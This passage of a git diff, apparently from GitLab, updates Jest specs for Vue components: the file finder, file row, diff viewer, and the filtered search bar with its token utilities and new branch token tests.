expect(items.at(0).text()).toBe('1 minute');
- expect(items.at(0).is('.active')).toBe(false);
+ expect(items.at(0).classes()).not.toContain('active');
expect(items.at(1).text()).toBe('2 minutes');
- expect(items.at(1).is('.active')).toBe(true);
+ expect(items.at(1).classes()).toContain('active');
expect(items.at(2).text()).toBe('5 minutes');
- expect(items.at(2).is('.active')).toBe(false);
+ expect(items.at(2).classes()).not.toContain('active');
});
});
diff --git a/spec/frontend/vue_shared/components/diff_viewer/viewers/renamed_spec.js b/spec/frontend/vue_shared/components/diff_viewer/viewers/renamed_spec.js
index e0e982f4e11..e91e6577aaf 100644
--- a/spec/frontend/vue_shared/components/diff_viewer/viewers/renamed_spec.js
+++ b/spec/frontend/vue_shared/components/diff_viewer/viewers/renamed_spec.js
@@ -14,19 +14,13 @@ import {
const localVue = createLocalVue();
localVue.use(Vuex);
-function createRenamedComponent({
- props = {},
- methods = {},
- store = new Vuex.Store({}),
- deep = false,
-}) {
+function createRenamedComponent({ props = {}, store = new Vuex.Store({}), deep = false }) {
const mnt = deep ? mount : shallowMount;
return mnt(Renamed, {
propsData: { ...props },
localVue,
store,
- methods,
});
}
@@ -258,25 +252,17 @@ describe('Renamed Diff Viewer', () => {
'includes a link to the full file for alternate viewer type "$altType"',
({ altType, linkText }) => {
const file = { ...diffFile };
- const clickMock = jest.fn().mockImplementation(() => {});
file.alternate_viewer.name = altType;
wrapper = createRenamedComponent({
deep: true,
props: { diffFile: file },
- methods: {
- clickLink: clickMock,
- },
});
const link = wrapper.find('a');
expect(link.text()).toEqual(linkText);
expect(link.attributes('href')).toEqual(DIFF_FILE_VIEW_PATH);
-
- link.vm.$emit('click');
-
- expect(clickMock).toHaveBeenCalled();
},
);
});
diff --git a/spec/frontend/vue_shared/components/dropdown/dropdown_search_input_spec.js b/spec/frontend/vue_shared/components/dropdown/dropdown_search_input_spec.js
index ffdeb25439c..efa30bf6605 100644
--- a/spec/frontend/vue_shared/components/dropdown/dropdown_search_input_spec.js
+++ b/spec/frontend/vue_shared/components/dropdown/dropdown_search_input_spec.js
@@ -32,12 +32,6 @@ describe('DropdownSearchInputComponent', () => {
expect(wrapper.find('.fa-search.dropdown-input-search').exists()).toBe(true);
});
- it('renders clear search icon element', () => {
- expect(wrapper.find('.fa-times.dropdown-input-clear.js-dropdown-input-clear').exists()).toBe(
- true,
- );
- });
-
it('displays custom placeholder text', () => {
expect(findInputEl().attributes('placeholder')).toBe(defaultProps.placeholderText);
});
diff --git a/spec/frontend/vue_shared/components/file_finder/index_spec.js b/spec/frontend/vue_shared/components/file_finder/index_spec.js
index f9e56774526..40026021777 100644
--- a/spec/frontend/vue_shared/components/file_finder/index_spec.js
+++ b/spec/frontend/vue_shared/components/file_finder/index_spec.js
@@ -84,7 +84,7 @@ describe('File finder item spec', () => {
waitForPromises()
.then(() => {
- vm.$el.querySelector('.dropdown-input-clear').click();
+ vm.clearSearchInput();
})
.then(waitForPromises)
.then(() => {
@@ -94,13 +94,13 @@ describe('File finder item spec', () => {
.catch(done.fail);
});
- it('clear button focues search input', done => {
+ it('clear button focuses search input', done => {
jest.spyOn(vm.$refs.searchInput, 'focus').mockImplementation(() => {});
vm.searchText = 'index';
waitForPromises()
.then(() => {
- vm.$el.querySelector('.dropdown-input-clear').click();
+ vm.clearSearchInput();
})
.then(waitForPromises)
.then(() => {
@@ -319,8 +319,8 @@ describe('File finder item spec', () => {
.catch(done.fail);
});
- it('calls toggle on `command+p` key press', done => {
- Mousetrap.trigger('command+p');
+ it('calls toggle on `mod+p` key press', done => {
+ Mousetrap.trigger('mod+p');
vm.$nextTick()
.then(() => {
@@ -330,39 +330,28 @@ describe('File finder item spec', () => {
.catch(done.fail);
});
- it('calls toggle on `ctrl+p` key press', done => {
- Mousetrap.trigger('ctrl+p');
-
- vm.$nextTick()
- .then(() => {
- expect(vm.toggle).toHaveBeenCalled();
- })
- .then(done)
- .catch(done.fail);
- });
-
- it('always allows `command+p` to trigger toggle', () => {
+ it('always allows `mod+p` to trigger toggle', () => {
expect(
- vm.mousetrapStopCallback(null, vm.$el.querySelector('.dropdown-input-field'), 'command+p'),
- ).toBe(false);
- });
-
- it('always allows `ctrl+p` to trigger toggle', () => {
- expect(
- vm.mousetrapStopCallback(null, vm.$el.querySelector('.dropdown-input-field'), 'ctrl+p'),
+ Mousetrap.prototype.stopCallback(
+ null,
+ vm.$el.querySelector('.dropdown-input-field'),
+ 'mod+p',
+ ),
).toBe(false);
});
it('onlys handles `t` when focused in input-field', () => {
expect(
- vm.mousetrapStopCallback(null, vm.$el.querySelector('.dropdown-input-field'), 't'),
+ Mousetrap.prototype.stopCallback(null, vm.$el.querySelector('.dropdown-input-field'), 't'),
).toBe(true);
});
it('stops callback in monaco editor', () => {
setFixtures('<div class="inputarea"></div>');
- expect(vm.mousetrapStopCallback(null, document.querySelector('.inputarea'), 't')).toBe(true);
+ expect(
+ Mousetrap.prototype.stopCallback(null, document.querySelector('.inputarea'), 't'),
+ ).toBe(true);
});
});
});
diff --git a/spec/frontend/vue_shared/components/file_row_spec.js b/spec/frontend/vue_shared/components/file_row_spec.js
index 1acd2e05464..d28c35d26bf 100644
--- a/spec/frontend/vue_shared/components/file_row_spec.js
+++ b/spec/frontend/vue_shared/components/file_row_spec.js
@@ -118,7 +118,7 @@ describe('File row component', () => {
level: 0,
});
- expect(wrapper.contains(FileHeader)).toBe(true);
+ expect(wrapper.find(FileHeader).exists()).toBe(true);
});
it('matches the current route against encoded file URL', () => {
@@ -139,4 +139,16 @@ describe('File row component', () => {
expect(wrapper.vm.hasUrlAtCurrentRoute()).toBe(true);
});
+
+ it('render with the correct file classes prop', () => {
+ createComponent({
+ file: {
+ ...file(),
+ },
+ level: 0,
+ fileClasses: 'font-weight-bold',
+ });
+
+ expect(wrapper.find('.file-row-name').classes()).toContain('font-weight-bold');
+ });
});
diff --git a/spec/frontend/vue_shared/components/filtered_search_bar/filtered_search_bar_root_spec.js b/spec/frontend/vue_shared/components/filtered_search_bar/filtered_search_bar_root_spec.js
index 73dbecadd89..c79880d4766 100644
--- a/spec/frontend/vue_shared/components/filtered_search_bar/filtered_search_bar_root_spec.js
+++ b/spec/frontend/vue_shared/components/filtered_search_bar/filtered_search_bar_root_spec.js
@@ -1,19 +1,28 @@
import { shallowMount, mount } from '@vue/test-utils';
-import {
- GlFilteredSearch,
- GlButtonGroup,
- GlButton,
- GlNewDropdown as GlDropdown,
- GlNewDropdownItem as GlDropdownItem,
-} from '@gitlab/ui';
+import { GlFilteredSearch, GlButtonGroup, GlButton, GlDropdown, GlDropdownItem } from '@gitlab/ui';
import FilteredSearchBarRoot from '~/vue_shared/components/filtered_search_bar/filtered_search_bar_root.vue';
+import { uniqueTokens } from '~/vue_shared/components/filtered_search_bar/filtered_search_utils';
import { SortDirection } from '~/vue_shared/components/filtered_search_bar/constants';
import RecentSearchesStore from '~/filtered_search/stores/recent_searches_store';
import RecentSearchesService from '~/filtered_search/services/recent_searches_service';
-import { mockAvailableTokens, mockSortOptions, mockHistoryItems } from './mock_data';
+import {
+ mockAvailableTokens,
+ mockSortOptions,
+ mockHistoryItems,
+ tokenValueAuthor,
+ tokenValueLabel,
+ tokenValueMilestone,
+} from './mock_data';
+
+jest.mock('~/vue_shared/components/filtered_search_bar/filtered_search_utils', () => ({
+ uniqueTokens: jest.fn().mockImplementation(tokens => tokens),
+ stripQuotes: jest.requireActual(
+ '~/vue_shared/components/filtered_search_bar/filtered_search_utils',
+ ).stripQuotes,
+}));
const createComponent = ({
shallow = true,
@@ -52,10 +61,10 @@ describe('FilteredSearchBarRoot', () => {
expect(wrapper.vm.filterValue).toEqual([]);
expect(wrapper.vm.selectedSortOption).toBe(mockSortOptions[0].sortDirection.descending);
expect(wrapper.vm.selectedSortDirection).toBe(SortDirection.descending);
- expect(wrapper.contains(GlButtonGroup)).toBe(true);
- expect(wrapper.contains(GlButton)).toBe(true);
- expect(wrapper.contains(GlDropdown)).toBe(true);
- expect(wrapper.contains(GlDropdownItem)).toBe(true);
+ expect(wrapper.find(GlButtonGroup).exists()).toBe(true);
+ expect(wrapper.find(GlButton).exists()).toBe(true);
+ expect(wrapper.find(GlDropdown).exists()).toBe(true);
+ expect(wrapper.find(GlDropdownItem).exists()).toBe(true);
});
it('does not initialize `selectedSortOption` and `selectedSortDirection` when `sortOptions` is not applied and hides the sort dropdown', () => {
@@ -63,23 +72,31 @@ describe('FilteredSearchBarRoot', () => {
expect(wrapperNoSort.vm.filterValue).toEqual([]);
expect(wrapperNoSort.vm.selectedSortOption).toBe(undefined);
- expect(wrapperNoSort.contains(GlButtonGroup)).toBe(false);
- expect(wrapperNoSort.contains(GlButton)).toBe(false);
- expect(wrapperNoSort.contains(GlDropdown)).toBe(false);
- expect(wrapperNoSort.contains(GlDropdownItem)).toBe(false);
+ expect(wrapperNoSort.find(GlButtonGroup).exists()).toBe(false);
+ expect(wrapperNoSort.find(GlButton).exists()).toBe(false);
+ expect(wrapperNoSort.find(GlDropdown).exists()).toBe(false);
+ expect(wrapperNoSort.find(GlDropdownItem).exists()).toBe(false);
});
});
describe('computed', () => {
describe('tokenSymbols', () => {
it('returns a map containing type and symbols from `tokens` prop', () => {
- expect(wrapper.vm.tokenSymbols).toEqual({ author_username: '@', label_name: '~' });
+ expect(wrapper.vm.tokenSymbols).toEqual({
+ author_username: '@',
+ label_name: '~',
+ milestone_title: '%',
+ });
});
});
describe('tokenTitles', () => {
it('returns a map containing type and title from `tokens` prop', () => {
- expect(wrapper.vm.tokenTitles).toEqual({ author_username: 'Author', label_name: 'Label' });
+ expect(wrapper.vm.tokenTitles).toEqual({
+ author_username: 'Author',
+ label_name: 'Label',
+ milestone_title: 'Milestone',
+ });
});
});
@@ -131,6 +148,20 @@ describe('FilteredSearchBarRoot', () => {
expect(wrapper.vm.filteredRecentSearches[0]).toEqual({ foo: 'bar' });
});
+ it('returns array of recent searches sanitizing any duplicate token values', async () => {
+ wrapper.setData({
+ recentSearches: [
+ [tokenValueAuthor, tokenValueLabel, tokenValueMilestone, tokenValueLabel],
+ [tokenValueAuthor, tokenValueMilestone],
+ ],
+ });
+
+ await wrapper.vm.$nextTick();
+
+ expect(wrapper.vm.filteredRecentSearches).toHaveLength(2);
+ expect(uniqueTokens).toHaveBeenCalled();
+ });
+
it('returns undefined when recentSearchesStorageKey prop is not set on component', async () => {
wrapper.setProps({
recentSearchesStorageKey: '',
@@ -182,40 +213,12 @@ describe('FilteredSearchBarRoot', () => {
});
describe('removeQuotesEnclosure', () => {
- const mockFilters = [
- {
- type: 'author_username',
- value: {
- data: 'root',
- operator: '=',
- },
- },
- {
- type: 'label_name',
- value: {
- data: '"Documentation Update"',
- operator: '=',
- },
- },
- 'foo',
- ];
+ const mockFilters = [tokenValueAuthor, tokenValueLabel, 'foo'];
it('returns filter array with unescaped strings for values which have spaces', () => {
expect(wrapper.vm.removeQuotesEnclosure(mockFilters)).toEqual([
- {
- type: 'author_username',
- value: {
- data: 'root',
- operator: '=',
- },
- },
- {
- type: 'label_name',
- value: {
- data: 'Documentation Update',
- operator: '=',
- },
- },
+ tokenValueAuthor,
+ tokenValueLabel,
'foo',
]);
});
@@ -277,21 +280,26 @@ describe('FilteredSearchBarRoot', () => {
});
describe('handleFilterSubmit', () => {
- const mockFilters = [
- {
- type: 'author_username',
- value: {
- data: 'root',
- operator: '=',
- },
- },
- 'foo',
- ];
+ const mockFilters = [tokenValueAuthor, 'foo'];
+
+ beforeEach(async () => {
+ wrapper.setData({
+ filterValue: mockFilters,
+ });
+
+ await wrapper.vm.$nextTick();
+ });
+
+ it('calls `uniqueTokens` on `filterValue` prop to remove duplicates', () => {
+ wrapper.vm.handleFilterSubmit();
+
+ expect(uniqueTokens).toHaveBeenCalledWith(wrapper.vm.filterValue);
+ });
it('calls `recentSearchesStore.addRecentSearch` with serialized value of provided `filters` param', () => {
jest.spyOn(wrapper.vm.recentSearchesStore, 'addRecentSearch');
- wrapper.vm.handleFilterSubmit(mockFilters);
+ wrapper.vm.handleFilterSubmit();
return wrapper.vm.recentSearchesPromise.then(() => {
expect(wrapper.vm.recentSearchesStore.addRecentSearch).toHaveBeenCalledWith(mockFilters);
@@ -301,7 +309,7 @@ describe('FilteredSearchBarRoot', () => {
it('calls `recentSearchesService.save` with array of searches', () => {
jest.spyOn(wrapper.vm.recentSearchesService, 'save');
- wrapper.vm.handleFilterSubmit(mockFilters);
+ wrapper.vm.handleFilterSubmit();
return wrapper.vm.recentSearchesPromise.then(() => {
expect(wrapper.vm.recentSearchesService.save).toHaveBeenCalledWith([mockFilters]);
@@ -311,7 +319,7 @@ describe('FilteredSearchBarRoot', () => {
it('sets `recentSearches` data prop with array of searches', () => {
jest.spyOn(wrapper.vm.recentSearchesService, 'save');
- wrapper.vm.handleFilterSubmit(mockFilters);
+ wrapper.vm.handleFilterSubmit();
return wrapper.vm.recentSearchesPromise.then(() => {
expect(wrapper.vm.recentSearches).toEqual([mockFilters]);
@@ -329,7 +337,7 @@ describe('FilteredSearchBarRoot', () => {
it('emits component event `onFilter` with provided filters param', () => {
jest.spyOn(wrapper.vm, 'removeQuotesEnclosure');
- wrapper.vm.handleFilterSubmit(mockFilters);
+ wrapper.vm.handleFilterSubmit();
expect(wrapper.emitted('onFilter')[0]).toEqual([mockFilters]);
expect(wrapper.vm.removeQuotesEnclosure).toHaveBeenCalledWith(mockFilters);
@@ -366,7 +374,9 @@ describe('FilteredSearchBarRoot', () => {
'.gl-search-box-by-click-menu .gl-search-box-by-click-history-item',
);
- expect(searchHistoryItemsEl.at(0).text()).toBe('Author := @tobyLabel := ~Bug"duo"');
+ expect(searchHistoryItemsEl.at(0).text()).toBe(
+ 'Author := @rootLabel := ~bugMilestone := %v1.0"duo"',
+ );
wrapperFullMount.destroy();
});
diff --git a/spec/frontend/vue_shared/components/filtered_search_bar/filtered_search_utils_spec.js b/spec/frontend/vue_shared/components/filtered_search_bar/filtered_search_utils_spec.js
index a857f84adf1..4869e75a2f3 100644
--- a/spec/frontend/vue_shared/components/filtered_search_bar/filtered_search_utils_spec.js
+++ b/spec/frontend/vue_shared/components/filtered_search_bar/filtered_search_utils_spec.js
@@ -1,4 +1,18 @@
-import * as filteredSearchUtils from '~/vue_shared/components/filtered_search_bar/filtered_search_utils';
+import {
+ stripQuotes,
+ uniqueTokens,
+ prepareTokens,
+ processFilters,
+ filterToQueryObject,
+ urlQueryToFilter,
+} from '~/vue_shared/components/filtered_search_bar/filtered_search_utils';
+
+import {
+ tokenValueAuthor,
+ tokenValueLabel,
+ tokenValueMilestone,
+ tokenValuePlain,
+} from './mock_data';
describe('Filtered Search Utils', () => {
describe('stripQuotes', () => {
@@ -9,11 +23,196 @@ describe('Filtered Search Utils', () => {
${'FooBar'} | ${'FooBar'}
${"Foo'Bar"} | ${"Foo'Bar"}
${'Foo"Bar'} | ${'Foo"Bar'}
+ ${'Foo Bar'} | ${'Foo Bar'}
`(
'returns string $outputValue when called with string $inputValue',
({ inputValue, outputValue }) => {
- expect(filteredSearchUtils.stripQuotes(inputValue)).toBe(outputValue);
+ expect(stripQuotes(inputValue)).toBe(outputValue);
},
);
});
+
+ describe('uniqueTokens', () => {
+ it('returns tokens array with duplicates removed', () => {
+ expect(
+ uniqueTokens([
+ tokenValueAuthor,
+ tokenValueLabel,
+ tokenValueMilestone,
+ tokenValueLabel,
+ tokenValuePlain,
+ ]),
+ ).toHaveLength(4); // Removes 2nd instance of tokenValueLabel
+ });
+
+ it('returns tokens array as it is if it does not have duplicates', () => {
+ expect(
+ uniqueTokens([tokenValueAuthor, tokenValueLabel, tokenValueMilestone, tokenValuePlain]),
+ ).toHaveLength(4);
+ });
+ });
+});
+
+describe('prepareTokens', () => {
+ describe('with empty data', () => {
+ it('returns an empty array', () => {
+ expect(prepareTokens()).toEqual([]);
+ expect(prepareTokens({})).toEqual([]);
+ expect(prepareTokens({ milestone: null, author: null, assignees: [], labels: [] })).toEqual(
+ [],
+ );
+ });
+ });
+
+ it.each([
+ [
+ 'milestone',
+ { value: 'v1.0', operator: '=' },
+ [{ type: 'milestone', value: { data: 'v1.0', operator: '=' } }],
+ ],
+ [
+ 'author',
+ { value: 'mr.popo', operator: '!=' },
+ [{ type: 'author', value: { data: 'mr.popo', operator: '!=' } }],
+ ],
+ [
+ 'labels',
+ [{ value: 'z-fighters', operator: '=' }],
+ [{ type: 'labels', value: { data: 'z-fighters', operator: '=' } }],
+ ],
+ [
+ 'assignees',
+ [{ value: 'krillin', operator: '=' }, { value: 'piccolo', operator: '!=' }],
+ [
+ { type: 'assignees', value: { data: 'krillin', operator: '=' } },
+ { type: 'assignees', value: { data: 'piccolo', operator: '!=' } },
+ ],
+ ],
+ [
+ 'foo',
+ [{ value: 'bar', operator: '!=' }, { value: 'baz', operator: '!=' }],
+ [
+ { type: 'foo', value: { data: 'bar', operator: '!=' } },
+ { type: 'foo', value: { data: 'baz', operator: '!=' } },
+ ],
+ ],
+ ])('gathers %s=%j into result=%j', (token, value, result) => {
+ const res = prepareTokens({ [token]: value });
+ expect(res).toEqual(result);
+ });
+});
+
+describe('processFilters', () => {
+ it('processes multiple filter values', () => {
+ const result = processFilters([
+ { type: 'foo', value: { data: 'foo', operator: '=' } },
+ { type: 'bar', value: { data: 'bar1', operator: '=' } },
+ { type: 'bar', value: { data: 'bar2', operator: '!=' } },
+ ]);
+
+ expect(result).toStrictEqual({
+ foo: [{ value: 'foo', operator: '=' }],
+ bar: [{ value: 'bar1', operator: '=' }, { value: 'bar2', operator: '!=' }],
+ });
+ });
+
+ it('does not remove wrapping double quotes from the data', () => {
+ const result = processFilters([
+ { type: 'foo', value: { data: '"value with spaces"', operator: '=' } },
+ ]);
+
+ expect(result).toStrictEqual({
+ foo: [{ value: '"value with spaces"', operator: '=' }],
+ });
+ });
+});
+
+describe('filterToQueryObject', () => {
+ describe('with empty data', () => {
+ it('returns an empty object', () => {
+ expect(filterToQueryObject()).toEqual({});
+ expect(filterToQueryObject({})).toEqual({});
+ expect(filterToQueryObject({ author_username: null, label_name: [] })).toEqual({
+ author_username: null,
+ label_name: null,
+ 'not[author_username]': null,
+ 'not[label_name]': null,
+ });
+ });
+ });
+
+ it.each([
+ [
+ 'author_username',
+ { value: 'v1.0', operator: '=' },
+ { author_username: 'v1.0', 'not[author_username]': null },
+ ],
+ [
+ 'author_username',
+ { value: 'v1.0', operator: '!=' },
+ { author_username: null, 'not[author_username]': 'v1.0' },
+ ],
+ [
+ 'label_name',
+ [{ value: 'z-fighters', operator: '=' }],
+ { label_name: ['z-fighters'], 'not[label_name]': null },
+ ],
+ [
+ 'label_name',
+ [{ value: 'z-fighters', operator: '!=' }],
+ { label_name: null, 'not[label_name]': ['z-fighters'] },
+ ],
+ [
+ 'foo',
+ [{ value: 'bar', operator: '=' }, { value: 'baz', operator: '=' }],
+ { foo: ['bar', 'baz'], 'not[foo]': null },
+ ],
+ [
+ 'foo',
+ [{ value: 'bar', operator: '!=' }, { value: 'baz', operator: '!=' }],
+ { foo: null, 'not[foo]': ['bar', 'baz'] },
+ ],
+ [
+ 'foo',
+ [{ value: 'bar', operator: '!=' }, { value: 'baz', operator: '=' }],
+ { foo: ['baz'], 'not[foo]': ['bar'] },
+ ],
+ ])('gathers filter values %s=%j into query object=%j', (token, value, result) => {
+ const res = filterToQueryObject({ [token]: value });
+ expect(res).toEqual(result);
+ });
+});
+
+describe('urlQueryToFilter', () => {
+ describe('with empty data', () => {
+ it('returns an empty object', () => {
+ expect(urlQueryToFilter()).toEqual({});
+ expect(urlQueryToFilter('')).toEqual({});
+ expect(urlQueryToFilter('author_username=&milestone_title=&')).toEqual({});
+ });
+ });
+
+ it.each([
+ ['author_username=v1.0', { author_username: { value: 'v1.0', operator: '=' } }],
+ ['not[author_username]=v1.0', { author_username: { value: 'v1.0', operator: '!=' } }],
+ ['foo=bar&foo=baz', { foo: { value: 'baz', operator: '=' } }],
+ ['foo=bar&foo[]=baz', { foo: [{ value: 'baz', operator: '=' }] }],
+ ['not[foo]=bar&foo=baz', { foo: { value: 'baz', operator: '=' } }],
+ [
+ 'foo[]=bar&foo[]=baz&not[foo]=',
+ { foo: [{ value: 'bar', operator: '=' }, { value: 'baz', operator: '=' }] },
+ ],
+ [
+ 'foo[]=&not[foo][]=bar&not[foo][]=baz',
+ { foo: [{ value: 'bar', operator: '!=' }, { value: 'baz', operator: '!=' }] },
+ ],
+ [
+ 'foo[]=baz&not[foo][]=bar',
+ { foo: [{ value: 'baz', operator: '=' }, { value: 'bar', operator: '!=' }] },
+ ],
+ ['not[foo][]=bar', { foo: [{ value: 'bar', operator: '!=' }] }],
+ ])('gathers filter values %s into query object=%j', (query, result) => {
+ const res = urlQueryToFilter(query);
+ expect(res).toEqual(result);
+ });
});
diff --git a/spec/frontend/vue_shared/components/filtered_search_bar/mock_data.js b/spec/frontend/vue_shared/components/filtered_search_bar/mock_data.js
index dcccb1f49b6..e0a3208cac9 100644
--- a/spec/frontend/vue_shared/components/filtered_search_bar/mock_data.js
+++ b/spec/frontend/vue_shared/components/filtered_search_bar/mock_data.js
@@ -1,6 +1,7 @@
import { mockLabels } from 'jest/vue_shared/components/sidebar/labels_select_vue/mock_data';
import Api from '~/api';
import AuthorToken from '~/vue_shared/components/filtered_search_bar/tokens/author_token.vue';
+import BranchToken from '~/vue_shared/components/filtered_search_bar/tokens/branch_token.vue';
import LabelToken from '~/vue_shared/components/filtered_search_bar/tokens/label_token.vue';
import MilestoneToken from '~/vue_shared/components/filtered_search_bar/tokens/milestone_token.vue';
@@ -33,6 +34,8 @@ export const mockAuthor3 = {
export const mockAuthors = [mockAuthor1, mockAuthor2, mockAuthor3];
+export const mockBranches = [{ name: 'Master' }, { name: 'v1.x' }, { name: 'my-Branch' }];
+
export const mockRegularMilestone = {
id: 1,
name: '4.0',
@@ -55,6 +58,16 @@ export const mockMilestones = [
mockEscapedMilestone,
];
+export const mockBranchToken = {
+ type: 'source_branch',
+ icon: 'branch',
+ title: 'Source Branch',
+ unique: true,
+ token: BranchToken,
+ operators: [{ value: '=', description: 'is', default: 'true' }],
+ fetchBranches: Api.branches.bind(Api),
+};
+
export const mockAuthorToken = {
type: 'author_username',
icon: 'user',
@@ -89,36 +102,40 @@ export const mockMilestoneToken = {
fetchMilestones: () => Promise.resolve({ data: mockMilestones }),
};
-export const mockAvailableTokens = [mockAuthorToken, mockLabelToken];
+export const mockAvailableTokens = [mockAuthorToken, mockLabelToken, mockMilestoneToken];
+
+export const tokenValueAuthor = {
+ type: 'author_username',
+ value: {
+ data: 'root',
+ operator: '=',
+ },
+};
+
+export const tokenValueLabel = {
+ type: 'label_name',
+ value: {
+ operator: '=',
+ data: 'bug',
+ },
+};
+
+export const tokenValueMilestone = {
+ type: 'milestone_title',
+ value: {
+ operator: '=',
+ data: 'v1.0',
+ },
+};
+
+export const tokenValuePlain = {
+ type: 'filtered-search-term',
+ value: { data: 'foo' },
+};
export const mockHistoryItems = [
- [
- {
- type: 'author_username',
- value: {
- data: 'toby',
- operator: '=',
- },
- },
- {
- type: 'label_name',
- value: {
- data: 'Bug',
- operator: '=',
- },
- },
- 'duo',
- ],
- [
- {
- type: 'author_username',
- value: {
- data: 'root',
- operator: '=',
- },
- },
- 'si',
- ],
+ [tokenValueAuthor, tokenValueLabel, tokenValueMilestone, 'duo'],
+ [tokenValueAuthor, 'si'],
];
export const mockSortOptions = [
diff --git a/spec/frontend/vue_shared/components/filtered_search_bar/tokens/author_token_spec.js b/spec/frontend/vue_shared/components/filtered_search_bar/tokens/author_token_spec.js
index 160febf9d06..72840ce381f 100644
--- a/spec/frontend/vue_shared/components/filtered_search_bar/tokens/author_token_spec.js
+++ b/spec/frontend/vue_shared/components/filtered_search_bar/tokens/author_token_spec.js
@@ -1,18 +1,42 @@
import { mount } from '@vue/test-utils';
-import { GlFilteredSearchToken, GlFilteredSearchTokenSegment } from '@gitlab/ui';
+import {
+ GlFilteredSearchToken,
+ GlFilteredSearchTokenSegment,
+ GlFilteredSearchSuggestion,
+ GlDropdownDivider,
+} from '@gitlab/ui';
import MockAdapter from 'axios-mock-adapter';
import waitForPromises from 'helpers/wait_for_promises';
import axios from '~/lib/utils/axios_utils';
import { deprecatedCreateFlash as createFlash } from '~/flash';
+import {
+ DEFAULT_LABEL_NONE,
+ DEFAULT_LABEL_ANY,
+} from '~/vue_shared/components/filtered_search_bar/constants';
import AuthorToken from '~/vue_shared/components/filtered_search_bar/tokens/author_token.vue';
import { mockAuthorToken, mockAuthors } from '../mock_data';
jest.mock('~/flash');
-
-const createComponent = ({ config = mockAuthorToken, value = { data: '' }, active = false } = {}) =>
- mount(AuthorToken, {
+const defaultStubs = {
+ Portal: true,
+ GlFilteredSearchSuggestionList: {
+ template: '<div></div>',
+ methods: {
+ getValue: () => '=',
+ },
+ },
+};
+
+function createComponent(options = {}) {
+ const {
+ config = mockAuthorToken,
+ value = { data: '' },
+ active = false,
+ stubs = defaultStubs,
+ } = options;
+ return mount(AuthorToken, {
propsData: {
config,
value,
@@ -22,18 +46,9 @@ const createComponent = ({ config = mockAuthorToken, value = { data: '' }, activ
portalName: 'fake target',
alignSuggestions: function fakeAlignSuggestions() {},
},
- stubs: {
- Portal: {
- template: '<div><slot></slot></div>',
- },
- GlFilteredSearchSuggestionList: {
- template: '<div></div>',
- methods: {
- getValue: () => '=',
- },
- },
- },
+ stubs,
});
+}
describe('AuthorToken', () => {
let mock;
@@ -141,5 +156,57 @@ describe('AuthorToken', () => {
expect(tokenSegments.at(2).text()).toBe(mockAuthors[0].name); // "Administrator"
});
});
+
+ it('renders provided defaultAuthors as suggestions', async () => {
+ const defaultAuthors = [DEFAULT_LABEL_NONE, DEFAULT_LABEL_ANY];
+ wrapper = createComponent({
+ active: true,
+ config: { ...mockAuthorToken, defaultAuthors },
+ stubs: { Portal: true },
+ });
+ const tokenSegments = wrapper.findAll(GlFilteredSearchTokenSegment);
+ const suggestionsSegment = tokenSegments.at(2);
+ suggestionsSegment.vm.$emit('activate');
+ await wrapper.vm.$nextTick();
+
+ const suggestions = wrapper.findAll(GlFilteredSearchSuggestion);
+
+ expect(suggestions).toHaveLength(defaultAuthors.length);
+ defaultAuthors.forEach((label, index) => {
+ expect(suggestions.at(index).text()).toBe(label.text);
+ });
+ });
+
+ it('does not render divider when no defaultAuthors', async () => {
+ wrapper = createComponent({
+ active: true,
+ config: { ...mockAuthorToken, defaultAuthors: [] },
+ stubs: { Portal: true },
+ });
+ const tokenSegments = wrapper.findAll(GlFilteredSearchTokenSegment);
+ const suggestionsSegment = tokenSegments.at(2);
+ suggestionsSegment.vm.$emit('activate');
+ await wrapper.vm.$nextTick();
+
+ expect(wrapper.contains(GlFilteredSearchSuggestion)).toBe(false);
+ expect(wrapper.contains(GlDropdownDivider)).toBe(false);
+ });
+
+ it('renders `DEFAULT_LABEL_ANY` as default suggestions', async () => {
+ wrapper = createComponent({
+ active: true,
+ config: { ...mockAuthorToken },
+ stubs: { Portal: true },
+ });
+ const tokenSegments = wrapper.findAll(GlFilteredSearchTokenSegment);
+ const suggestionsSegment = tokenSegments.at(2);
+ suggestionsSegment.vm.$emit('activate');
+ await wrapper.vm.$nextTick();
+
+ const suggestions = wrapper.findAll(GlFilteredSearchSuggestion);
+
+ expect(suggestions).toHaveLength(1);
+ expect(suggestions.at(0).text()).toBe(DEFAULT_LABEL_ANY.text);
+ });
});
});
diff --git a/spec/frontend/vue_shared/components/filtered_search_bar/tokens/branch_token_spec.js b/spec/frontend/vue_shared/components/filtered_search_bar/tokens/branch_token_spec.js
new file mode 100644
index 00000000000..12b7fd58670
--- /dev/null
+++ b/spec/frontend/vue_shared/components/filtered_search_bar/tokens/branch_token_spec.js
@@ -0,0 +1,207 @@
+import { mount } from '@vue/test-utils';
+import {
+ GlFilteredSearchToken,
+ GlFilteredSearchSuggestion,
+ GlFilteredSearchTokenSegment,
+ GlDropdownDivider,
+} from '@gitlab/ui';
+import MockAdapter from 'axios-mock-adapter';
+import waitForPromises from 'helpers/wait_for_promises';
+
+import axios from '~/lib/utils/axios_utils';
+import createFlash from '~/flash';
+import {
+ DEFAULT_LABEL_NONE,
+ DEFAULT_LABEL_ANY,
+} from '~/vue_shared/components/filtered_search_bar/constants';
+import BranchToken from '~/vue_shared/components/filtered_search_bar/tokens/branch_token.vue';
+
+import { mockBranches, mockBranchToken } from '../mock_data';
+
+jest.mock('~/flash');
+const defaultStubs = {
+ Portal: true,
+ GlFilteredSearchSuggestionList: {
+ template: '<div></div>',
+ methods: {
+ getValue: () => '=',
+ },
+ },
+};
+
+function createComponent(options = {}) {
+ const {
+ config = mockBranchToken,
+ value = { data: '' },
+ active = false,
+ stubs = defaultStubs,
+ } = options;
+ return mount(BranchToken, {
+ propsData: {
+ config,
+ value,
+ active,
+ },
+ provide: {
+ portalName: 'fake target',
+ alignSuggestions: function fakeAlignSuggestions() {},
+ },
+ stubs,
+ });
+}
+
+describe('BranchToken', () => {
+ let mock;
+ let wrapper;
+
+ beforeEach(() => {
+ mock = new MockAdapter(axios);
+ });
+
+ afterEach(() => {
+ mock.restore();
+ wrapper.destroy();
+ });
+
+ describe('computed', () => {
+ beforeEach(async () => {
+ wrapper = createComponent({ value: { data: mockBranches[0].name } });
+
+ wrapper.setData({
+ branches: mockBranches,
+ });
+
+ await wrapper.vm.$nextTick();
+ });
+
+ describe('currentValue', () => {
+ it('returns lowercase string for `value.data`', () => {
+ expect(wrapper.vm.currentValue).toBe('master');
+ });
+ });
+
+ describe('activeBranch', () => {
+ it('returns object for currently present `value.data`', () => {
+ expect(wrapper.vm.activeBranch).toEqual(mockBranches[0]);
+ });
+ });
+ });
+
+ describe('methods', () => {
+ beforeEach(() => {
